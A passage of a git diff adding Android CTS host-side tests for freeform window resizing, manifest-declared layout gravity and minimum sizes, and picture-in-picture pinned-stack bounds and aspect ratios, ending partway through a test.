+        launchActivityInStack(NON_RESIZEABLE_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
+
+        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY});
+
+        final ActivityTask task =
+                mAmWmState.getAmState().getTaskByActivityName(NON_RESIZEABLE_ACTIVITY);
+        final ActivityStack stack = mAmWmState.getAmState().getStackById(task.mStackId);
+
+        if (task.isFullscreen()) {
+            // If the task is on the fullscreen stack, then we know that it will have bounds that
+            // fill the entire display.
+            return;
+        }
+
+        // If the task is not on the fullscreen stack, then compare the task bounds to the display
+        // bounds.
+        assertEquals(mAmWmState.getWmState().getDisplay(stack.mDisplayId).getDisplayRect(),
+                task.getBounds());
+    }
+
+    public void testActivityLifeCycleOnResizeFreeformTask() throws Exception {
+        launchActivityInStack(TEST_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
+        launchActivityInStack(NO_RELAUNCH_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
+
+        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
+
+        if (!supportsFreeform()) {
+            mAmWmState.assertDoesNotContainStack(
+                    "Must not contain freeform stack.", FREEFORM_WORKSPACE_STACK_ID);
+            return;
+        }
+
+        resizeActivityTask(TEST_ACTIVITY,
+                TEST_TASK_OFFSET, TEST_TASK_OFFSET, TEST_TASK_SIZE_1, TEST_TASK_SIZE_2);
+        resizeActivityTask(NO_RELAUNCH_ACTIVITY,
+                TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, TEST_TASK_SIZE_1, TEST_TASK_SIZE_2);
+
+        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
+
+        final String logSeparator = clearLogcat();
+        resizeActivityTask(TEST_ACTIVITY,
+                TEST_TASK_OFFSET, TEST_TASK_OFFSET, TEST_TASK_SIZE_2, TEST_TASK_SIZE_1);
+        resizeActivityTask(NO_RELAUNCH_ACTIVITY,
+                TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, TEST_TASK_SIZE_2, TEST_TASK_SIZE_1);
+        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
+
+        assertActivityLifecycle(TEST_ACTIVITY, true /* relaunched */, logSeparator);
+        assertActivityLifecycle(NO_RELAUNCH_ACTIVITY, false /* relaunched */, logSeparator);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
new file mode 100644
index 0000000..e6df4b2
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import java.lang.Exception;
+import java.lang.String;
+import java.util.ArrayList;
+import java.util.List;
+
+import junit.framework.Assert;
+
+import java.awt.Rectangle;
+import android.server.cts.WindowManagerState.WindowState;
+import android.server.cts.WindowManagerState.Display;
+
+import static android.server.cts.ActivityAndWindowManagersState.dpToPx;
+import static com.android.ddmlib.Log.LogLevel.INFO;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerManifestLayoutTests
+ */
+public class ActivityManagerManifestLayoutTests extends ActivityManagerTestBase {
+
+    // Test parameters
+    private static final int DEFAULT_WIDTH_DP = 240;
+    private static final int DEFAULT_HEIGHT_DP = 160;
+    private static final float DEFAULT_WIDTH_FRACTION = 0.25f;
+    private static final float DEFAULT_HEIGHT_FRACTION = 0.35f;
+    private static final int MIN_WIDTH_DP = 100;
+    private static final int MIN_HEIGHT_DP = 80;
+
+    private static final int GRAVITY_VER_CENTER = 0x01;
+    private static final int GRAVITY_VER_TOP    = 0x02;
+    private static final int GRAVITY_VER_BOTTOM = 0x04;
+    private static final int GRAVITY_HOR_CENTER = 0x10;
+    private static final int GRAVITY_HOR_LEFT   = 0x20;
+    private static final int GRAVITY_HOR_RIGHT  = 0x40;
+
+    private List<WindowState> mTempWindowList = new ArrayList();
+    private Display mDisplay;
+    private WindowState mWindowState;
+
+    public void testGravityAndDefaultSizeTopLeft() throws Exception {
+        testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_LEFT, false /*fraction*/);
+    }
+
+    public void testGravityAndDefaultSizeTopRight() throws Exception {
+        testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_RIGHT, true /*fraction*/);
+    }
+
+    public void testGravityAndDefaultSizeBottomLeft() throws Exception {
+        testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_LEFT, true /*fraction*/);
+    }
+
+    public void testGravityAndDefaultSizeBottomRight() throws Exception {
+        testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_RIGHT, false /*fraction*/);
+    }
+
+    public void testMinimalSizeFreeform() throws Exception {
+        if (!supportsFreeform()) {
+            CLog.logAndDisplay(INFO, "Skipping test: no freeform support");
+            return;
+        }
+        testMinimalSize(FREEFORM_WORKSPACE_STACK_ID);
+    }
+
+    public void testMinimalSizeDocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
+            return;
+        }
+        testMinimalSize(DOCKED_STACK_ID);
+    }
+
+    private void testMinimalSize(int stackId) throws Exception {
+        final String activityName = "BottomRightLayoutActivity";
+
+        // Issue command to resize to <0,0,1,1>. We expect the size to be floored at
+        // MIN_WIDTH_DPxMIN_HEIGHT_DP.
+        if (stackId == FREEFORM_WORKSPACE_STACK_ID) {
+            launchActivityInStack(activityName, stackId);
+            resizeActivityTask(activityName, 0, 0, 1, 1);
+        } else { // stackId == DOCKED_STACK_ID
+            launchActivityInDockStack(activityName);
+            resizeDockedStack(1, 1, 1, 1);
+        }
+        getDisplayAndWindowState(activityName, false);
+
+        final int minWidth = dpToPx(MIN_WIDTH_DP, mDisplay.getDpi());
+        final int minHeight = dpToPx(MIN_HEIGHT_DP, mDisplay.getDpi());
+        final Rectangle containingRect = mWindowState.getContainingFrame();
+
+        Assert.assertEquals("Min width is incorrect", minWidth, containingRect.width);
+        Assert.assertEquals("Min height is incorrect", minHeight, containingRect.height);
+    }
+
+    private void testLayout(
+            int vGravity, int hGravity, boolean fraction) throws Exception {
+        if (!supportsFreeform()) {
+            CLog.logAndDisplay(INFO, "Skipping test: no freeform support");
+            return;
+        }
+
+        final String activityName = (vGravity == GRAVITY_VER_TOP ? "Top" : "Bottom")
+                + (hGravity == GRAVITY_HOR_LEFT ? "Left" : "Right") + "LayoutActivity";
+
+        // Launch in freeform stack
+        launchActivityInStack(activityName, FREEFORM_WORKSPACE_STACK_ID);
+
+        getDisplayAndWindowState(activityName, true);
+
+        final Rectangle containingRect = mWindowState.getContainingFrame();
+        final Rectangle appRect = mDisplay.getAppRect();
+        final int expectedWidthPx, expectedHeightPx;
+        // Evaluate the expected window size in px. If we're using fraction dimensions,
+        // calculate the size based on the app rect size. Otherwise, convert the expected
+        // size in dp to px.
+        if (fraction) {
+            expectedWidthPx = (int) (appRect.width * DEFAULT_WIDTH_FRACTION);
+            expectedHeightPx = (int) (appRect.height * DEFAULT_HEIGHT_FRACTION);
+        } else {
+            final int densityDpi = mDisplay.getDpi();
+            expectedWidthPx = dpToPx(DEFAULT_WIDTH_DP, densityDpi);
+            expectedHeightPx = dpToPx(DEFAULT_HEIGHT_DP, densityDpi);
+        }
+
+        verifyFrameSizeAndPosition(
+                vGravity, hGravity, expectedWidthPx, expectedHeightPx, containingRect, appRect);
+    }
+
+    private void getDisplayAndWindowState(String activityName, boolean checkFocus)
+            throws Exception {
+        final String windowName = getWindowName(activityName);
+
+        mAmWmState.computeState(mDevice, new String[] {activityName});
+
+        if (checkFocus) {
+            mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
+        } else {
+            mAmWmState.assertVisibility(activityName, true);
+        }
+
+        mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, mTempWindowList);
+
+        Assert.assertEquals("Should have exactly one window state for the activity.",
+                1, mTempWindowList.size());
+
+        mWindowState = mTempWindowList.get(0);
+        Assert.assertNotNull("Should have a valid window", mWindowState);
+
+        mDisplay = mAmWmState.getWmState().getDisplay(mWindowState.getDisplayId());
+        Assert.assertNotNull("Should be on a display", mDisplay);
+    }
+
+    private void verifyFrameSizeAndPosition(
+            int vGravity, int hGravity, int expectedWidthPx, int expectedHeightPx,
+            Rectangle containingFrame, Rectangle parentFrame) {
+        Assert.assertEquals("Width is incorrect", expectedWidthPx, containingFrame.width);
+        Assert.assertEquals("Height is incorrect", expectedHeightPx, containingFrame.height);
+
+        if (vGravity == GRAVITY_VER_TOP) {
+            Assert.assertEquals("Should be on the top", parentFrame.y, containingFrame.y);
+        } else if (vGravity == GRAVITY_VER_BOTTOM) {
+            Assert.assertEquals("Should be on the bottom",
+                    parentFrame.y + parentFrame.height, containingFrame.y + containingFrame.height);
+        }
+
+        if (hGravity == GRAVITY_HOR_LEFT) {
+            Assert.assertEquals("Should be on the left", parentFrame.x, containingFrame.x);
+        } else if (hGravity == GRAVITY_HOR_RIGHT){
+            Assert.assertEquals("Should be on the right",
+                    parentFrame.x + parentFrame.width, containingFrame.x + containingFrame.width);
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
new file mode 100644
index 0000000..55b41c8
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -0,0 +1,1285 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.cts.ActivityManagerState.STATE_STOPPED;
+
+import android.server.cts.ActivityManagerState.Activity;
+import android.server.cts.ActivityManagerState.ActivityStack;
+import android.server.cts.ActivityManagerState.ActivityTask;
+
+import java.awt.Rectangle;
+import java.lang.Exception;
+import java.lang.String;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests
+ */
+public class ActivityManagerPinnedStackTests extends ActivityManagerTestBase {
+    private static final String TEST_ACTIVITY = "TestActivity";
+    private static final String TEST_ACTIVITY_WITH_SAME_AFFINITY = "TestActivityWithSameAffinity";
+    private static final String TRANSLUCENT_TEST_ACTIVITY = "TranslucentTestActivity";
+    private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
+    private static final String RESUME_WHILE_PAUSING_ACTIVITY = "ResumeWhilePausingActivity";
+    private static final String PIP_ACTIVITY = "PipActivity";
+    private static final String PIP_ACTIVITY2 = "PipActivity2";
+    private static final String PIP_ACTIVITY_WITH_SAME_AFFINITY = "PipActivityWithSameAffinity";
+    private static final String ALWAYS_FOCUSABLE_PIP_ACTIVITY = "AlwaysFocusablePipActivity";
+    private static final String LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY =
+            "LaunchIntoPinnedStackPipActivity";
+    private static final String LAUNCH_ENTER_PIP_ACTIVITY = "LaunchEnterPipActivity";
+    private static final String PIP_ON_STOP_ACTIVITY = "PipOnStopActivity";
+
+    private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+    private static final String EXTRA_ENTER_PIP = "enter_pip";
+    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR =
+            "enter_pip_aspect_ratio_numerator";
+    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR =
+            "enter_pip_aspect_ratio_denominator";
+    private static final String EXTRA_SET_ASPECT_RATIO_NUMERATOR = "set_aspect_ratio_numerator";
+    private static final String EXTRA_SET_ASPECT_RATIO_DENOMINATOR = "set_aspect_ratio_denominator";
+    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR =
+            "set_aspect_ratio_with_delay_numerator";
+    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR =
+            "set_aspect_ratio_with_delay_denominator";
+    private static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
+    private static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
+    private static final String EXTRA_START_ACTIVITY = "start_activity";
+    private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
+    private static final String EXTRA_REENTER_PIP_ON_EXIT = "reenter_pip_on_exit";
+    private static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP = "assert_no_on_stop_before_pip";
+    private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
+
+    private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
+            "android.server.cts.PipActivity.enter_pip";
+    private static final String PIP_ACTIVITY_ACTION_MOVE_TO_BACK =
+            "android.server.cts.PipActivity.move_to_back";
+    private static final String PIP_ACTIVITY_ACTION_EXPAND_PIP =
+            "android.server.cts.PipActivity.expand_pip";
+    private static final String PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION =
+            "android.server.cts.PipActivity.set_requested_orientation";
+    private static final String PIP_ACTIVITY_ACTION_FINISH =
+            "android.server.cts.PipActivity.finish";
+    private static final String TEST_ACTIVITY_ACTION_FINISH =
+            "android.server.cts.TestActivity.finish_self";
+
+    private static final int APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE = 67;
+    private static final int APP_OPS_MODE_ALLOWED = 0;
+    private static final int APP_OPS_MODE_IGNORED = 1;
+    private static final int APP_OPS_MODE_ERRORED = 2;
+
+    private static final int ROTATION_0 = 0;
+    private static final int ROTATION_90 = 1;
+    private static final int ROTATION_180 = 2;
+    private static final int ROTATION_270 = 3;
+
+    // Corresponds to ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
+    private static final int ORIENTATION_LANDSCAPE = 0;
+    // Corresponds to ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+    private static final int ORIENTATION_PORTRAIT = 1;
+
+    private static final float FLOAT_COMPARE_EPSILON = 0.005f;
+
+    // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMinAspectRatio
+    private static final int MIN_ASPECT_RATIO_NUMERATOR = 100;
+    private static final int MIN_ASPECT_RATIO_DENOMINATOR = 239;
+    private static final int BELOW_MIN_ASPECT_RATIO_DENOMINATOR = MIN_ASPECT_RATIO_DENOMINATOR + 1;
+    // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMaxAspectRatio
+    private static final int MAX_ASPECT_RATIO_NUMERATOR = 239;
+    private static final int MAX_ASPECT_RATIO_DENOMINATOR = 100;
+    private static final int ABOVE_MAX_ASPECT_RATIO_NUMERATOR = MAX_ASPECT_RATIO_NUMERATOR + 1;
+
+    public void testMinimumDeviceSize() throws Exception {
+        if (!supportsPip()) return;
+
+        mAmWmState.assertDeviceDefaultDisplaySize(mDevice,
+                "Devices supporting picture-in-picture must be larger than the default minimum"
+                        + " task size");
+    }
+
+    public void testEnterPictureInPictureMode() throws Exception {
+        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true"), PIP_ACTIVITY,
+                false /* moveTopToPinnedStack */, false /* isFocusable */);
+    }
+
+    public void testMoveTopActivityToPinnedStack() throws Exception {
+        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY,
+                true /* moveTopToPinnedStack */, false /* isFocusable */);
+    }
+
+    public void testAlwaysFocusablePipActivity() throws Exception {
+        pinnedStackTester(getAmStartCmd(ALWAYS_FOCUSABLE_PIP_ACTIVITY),
+                ALWAYS_FOCUSABLE_PIP_ACTIVITY, false /* moveTopToPinnedStack */,
+                true /* isFocusable */);
+    }
+
+    public void testLaunchIntoPinnedStack() throws Exception {
+        pinnedStackTester(getAmStartCmd(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY),
+                ALWAYS_FOCUSABLE_PIP_ACTIVITY, false /* moveTopToPinnedStack */,
+                true /* isFocusable */);
+    }
+
+    public void testNonTappablePipActivity() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the tap-to-finish activity at a specific place
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_TAP_TO_FINISH, "true");
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        assertPinnedStackExists();
+
+        // Tap the screen at a known location in the pinned stack bounds, and ensure that it is
+        // not passed down to the top task
+        tapToFinishPip();
+        mAmWmState.computeState(mDevice, new String[] {PIP_ACTIVITY},
+                false /* compareTaskAndStackBounds */);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+    }
+
+    public void testPinnedStackDefaultBounds() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a PIP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+        setDeviceRotation(ROTATION_0);
+        WindowManagerState wmState = mAmWmState.getWmState();
+        wmState.computeState(mDevice);
+        Rectangle defaultPipBounds = wmState.getDefaultPinnedStackBounds();
+        Rectangle stableBounds = wmState.getStableBounds();
+        assertTrue(defaultPipBounds.width > 0 && defaultPipBounds.height > 0);
+        assertTrue(stableBounds.contains(defaultPipBounds));
+
+        setDeviceRotation(ROTATION_90);
+        wmState = mAmWmState.getWmState();
+        wmState.computeState(mDevice);
+        defaultPipBounds = wmState.getDefaultPinnedStackBounds();
+        stableBounds = wmState.getStableBounds();
+        assertTrue(defaultPipBounds.width > 0 && defaultPipBounds.height > 0);
+        assertTrue(stableBounds.contains(defaultPipBounds));
+        setDeviceRotation(ROTATION_0);
+    }
+
+    public void testPinnedStackMovementBounds() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a PIP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+        setDeviceRotation(ROTATION_0);
+        WindowManagerState wmState = mAmWmState.getWmState();
+        wmState.computeState(mDevice);
+        Rectangle pipMovementBounds = wmState.getPinnedStackMomentBounds();
+        Rectangle stableBounds = wmState.getStableBounds();
+        assertTrue(pipMovementBounds.width > 0 && pipMovementBounds.height > 0);
+        assertTrue(stableBounds.contains(pipMovementBounds));
+
+        setDeviceRotation(ROTATION_90);
+        wmState = mAmWmState.getWmState();
+        wmState.computeState(mDevice);
+        pipMovementBounds = wmState.getPinnedStackMomentBounds();
+        stableBounds = wmState.getStableBounds();
+        assertTrue(pipMovementBounds.width > 0 && pipMovementBounds.height > 0);
+        assertTrue(stableBounds.contains(pipMovementBounds));
+        setDeviceRotation(ROTATION_0);
+    }
+
+    public void testPinnedStackOutOfBoundsInsetsNonNegative() throws Exception {
+        if (!supportsPip()) return;
+
+        final WindowManagerState wmState = mAmWmState.getWmState();
+
+        // Launch an activity into the pinned stack
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_TAP_TO_FINISH, "true");
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+
+        // Get the display dimensions
+        WindowManagerState.WindowState windowState = getWindowState(PIP_ACTIVITY);
+        WindowManagerState.Display display = wmState.getDisplay(windowState.getDisplayId());
+        Rectangle displayRect = display.getDisplayRect();
+
+        // Move the pinned stack offscreen
+        String moveStackOffscreenCommand = String.format("am stack resize 4 %d %d %d %d",
+                displayRect.width - 200, 0, displayRect.width + 200, 500);
+        executeShellCommand(moveStackOffscreenCommand);
+
+        // Ensure that the surface insets are not negative
+        windowState = getWindowState(PIP_ACTIVITY);
+        Rectangle contentInsets = windowState.getContentInsets();
+        assertTrue(contentInsets.x >= 0 && contentInsets.y >= 0 && contentInsets.width >= 0 &&
+                contentInsets.height >= 0);
+    }
+
+    public void testPinnedStackInBoundsAfterRotation() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch an activity into the pinned stack
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_TAP_TO_FINISH, "true");
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+
+        // Ensure that the PIP stack is fully visible in each orientation
+        setDeviceRotation(ROTATION_0);
+        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+        setDeviceRotation(ROTATION_90);
+        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+        setDeviceRotation(ROTATION_180);
+        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+        setDeviceRotation(ROTATION_270);
+        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+        setDeviceRotation(ROTATION_0);
+    }
+
+    public void testEnterPipToOtherOrientation() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a portrait only app on the fullscreen stack
+        launchActivity(TEST_ACTIVITY,
+                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT));
+        // Launch the PiP activity fixed as landscape
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_LANDSCAPE));
+        // Enter PiP, and assert that the PiP is within bounds now that the device is back in
+        // portrait
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        assertPinnedStackExists();
+        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+    }
+
+    public void testEnterPipAspectRatioMin() throws Exception {
+        testEnterPipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    public void testEnterPipAspectRatioMax() throws Exception {
+        testEnterPipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    private void testEnterPipAspectRatio(int num, int denom) throws Exception {
+        if (!supportsPip()) return;
+
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+        assertPinnedStackExists();
+
+        // Assert that we have entered PIP and that the aspect ratio is correct
+        Rectangle pinnedStackBounds =
+                mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
+        assertTrue(floatEquals((float) pinnedStackBounds.width / pinnedStackBounds.height,
+                (float) num / denom));
+    }
+
+    public void testResizePipAspectRatioMin() throws Exception {
+        testResizePipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    public void testResizePipAspectRatioMax() throws Exception {
+        testResizePipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    private void testResizePipAspectRatio(int num, int denom) throws Exception {
+        if (!supportsPip()) return;
+
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+        assertPinnedStackExists();
+
+        // Hacky, but we need to wait for the enterPictureInPicture animation to complete and
+        // the resize to be called before we can check the pinned stack bounds
+        final boolean[] result = new boolean[1];
+        mAmWmState.waitForWithAmState(mDevice, (state) -> {
+            Rectangle pinnedStackBounds = state.getStackById(PINNED_STACK_ID).getBounds();
+            boolean isValidAspectRatio = floatEquals(
+                    (float) pinnedStackBounds.width / pinnedStackBounds.height,
+                    (float) num / denom);
+            result[0] = isValidAspectRatio;
+            return isValidAspectRatio;
+        }, "Waiting for pinned stack to be resized");
+        assertTrue(result[0]);
+    }
+
+    public void testEnterPipExtremeAspectRatioMin() throws Exception {
+        testEnterPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
+                BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    public void testEnterPipExtremeAspectRatioMax() throws Exception {
+        testEnterPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
+                MAX_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    private void testEnterPipExtremeAspectRatio(int num, int denom) throws Exception {
+        if (!supportsPip()) return;
+
+        // Assert that we could not create a pinned stack with an extreme aspect ratio
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+        assertPinnedStackDoesNotExist();
+    }
+
+    public void testSetPipExtremeAspectRatioMin() throws Exception {
+        testSetPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
+                BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    public void testSetPipExtremeAspectRatioMax() throws Exception {
+        testSetPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
+                MAX_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    private void testSetPipExtremeAspectRatio(int num, int denom) throws Exception {
+        if (!supportsPip()) return;
+
+        // Try to resize the a normal pinned stack to an extreme aspect ratio and ensure that
+        // fails (the aspect ratio remains the same)
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
+                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR),
+                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+        assertPinnedStackExists();
+        Rectangle pinnedStackBounds =
+                mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
+        assertTrue(floatEquals((float) pinnedStackBounds.width / pinnedStackBounds.height,
+                (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR));
+    }
+
+    public void testDisallowPipLaunchFromStoppedActivity() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the bottom pip activity
+        launchActivity(PIP_ON_STOP_ACTIVITY);
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+
+        // Wait for the bottom pip activity to be stopped
+        mAmWmState.waitForActivityState(mDevice, PIP_ON_STOP_ACTIVITY, STATE_STOPPED);
+
+        // Assert that there is no pinned stack (that enterPictureInPicture() failed)
+        assertPinnedStackDoesNotExist();
+    }
+
+    public void testAutoEnterPictureInPicture() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a test activity so that we're not over home
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch the PIP activity on pause
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+        assertPinnedStackDoesNotExist();
+
+        // Go home and ensure that there is a pinned stack
+        launchHomeActivity();
+        assertPinnedStackExists();
+    }
+
+    public void testAutoEnterPictureInPictureLaunchActivity() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a test activity so that we're not over home
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch the PIP activity on pause, and have it start another activity on
+        // top of itself.  Wait for the new activity to be visible and ensure that the pinned stack
+        // was not created in the process
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP_ON_PAUSE, "true",
+                EXTRA_START_ACTIVITY, getActivityComponentName(NON_RESIZEABLE_ACTIVITY));
+        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY},
+                false /* compareTaskAndStackBounds */);
+        assertPinnedStackDoesNotExist();
+
+        // Go home while the pip activity is open and ensure the previous activity is not PIPed
+        launchHomeActivity();
+        assertPinnedStackDoesNotExist();
+    }
+
+    public void testAutoEnterPictureInPictureFinish() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a test activity so that we're not over home
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch the PIP activity on pause, and set it to finish itself after
